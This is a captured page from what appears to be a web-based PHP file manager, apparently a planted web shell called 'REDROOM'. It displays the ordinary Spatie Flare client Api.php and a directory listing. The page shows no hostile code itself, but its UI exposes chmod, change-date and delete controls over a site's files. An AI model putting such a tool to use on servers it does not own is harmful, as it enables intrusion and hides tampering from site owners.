REDROOM
PHP 8.2.30
Path:
Logout
Edit File
Size: 1.82 KB
Close
/proc/thread-self/root/home/byroehnu/easetack.com/vendor/spatie/flare-client-php/src/Api.php
Text
Base64
<?php namespace Spatie\FlareClient; use Exception; use Spatie\FlareClient\Http\Client; use Spatie\FlareClient\Truncation\ReportTrimmer; class Api { protected Client $client; protected bool $sendReportsImmediately = false; /** @var array<int, Report> */ protected array $queue = []; public function __construct(Client $client) { $this->client = $client; register_shutdown_function([$this, 'sendQueuedReports']); } public function sendReportsImmediately(): self { $this->sendReportsImmediately = true; return $this; } public function report(Report $report): void { try { $this->sendReportsImmediately ? $this->sendReportToApi($report) : $this->addReportToQueue($report); } catch (Exception $e) { // } } public function sendTestReport(Report $report): self { $this->sendReportToApi($report); return $this; } protected function addReportToQueue(Report $report): self { $this->queue[] = $report; return $this; } public function sendQueuedReports(): void { try { foreach ($this->queue as $report) { $this->sendReportToApi($report); } } catch (Exception $e) { // } finally { $this->queue = []; } } protected function sendReportToApi(Report $report): void { $payload = $this->truncateReport($report->toArray()); $this->client->post('reports', $payload); } /** * @param array<int|string, mixed> $payload * * @return array<int|string, mixed> */ protected function truncateReport(array $payload): array { return (new ReportTrimmer())->trim($payload); } }
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 11 × Files: 6
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
Concerns
DIR
-
drwxrwxrwx
2025-05-16 16:14:51
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Context
DIR
-
drwxrwxrwx
2025-05-16 16:14:51
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Contracts
DIR
-
drwxrwxrwx
2025-05-16 16:14:51
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Enums
DIR
-
drwxrwxrwx
2025-05-16 16:14:51
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
FlareMiddleware
DIR
-
drwxrwxrwx
2025-05-16 16:14:51
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Glows
DIR
-
drwxrwxrwx
2025-05-16 16:14:51
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Http
DIR
-
drwxrwxrwx
2025-05-16 16:14:51
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Solutions
DIR
-
drwxrwxrwx
2025-05-16 16:14:51
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Support
DIR
-
drwxrwxrwx
2025-05-16 16:14:51
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Time
DIR
-
drwxrwxrwx
2025-05-16 16:14:51
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Truncation
DIR
-
drwxrwxrwx
2025-05-16 16:14:51
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Api.php
1.82 KB
lrw-rw-rw-
2025-02-14 13:42:06
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Flare.php
12.95 KB
lrw-rw-rw-
2025-02-14 13:42:06
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Frame.php
753 B
lrw-rw-rw-
2025-02-14 13:42:06
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
helpers.php
678 B
lrw-rw-rw-
2025-02-14 13:42:06
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Report.php
11.77 KB
lrw-rw-rw-
2025-02-14 13:42:06
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
View.php
1.41 KB
lrw-rw-rw-
2025-02-14 13:42:06
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).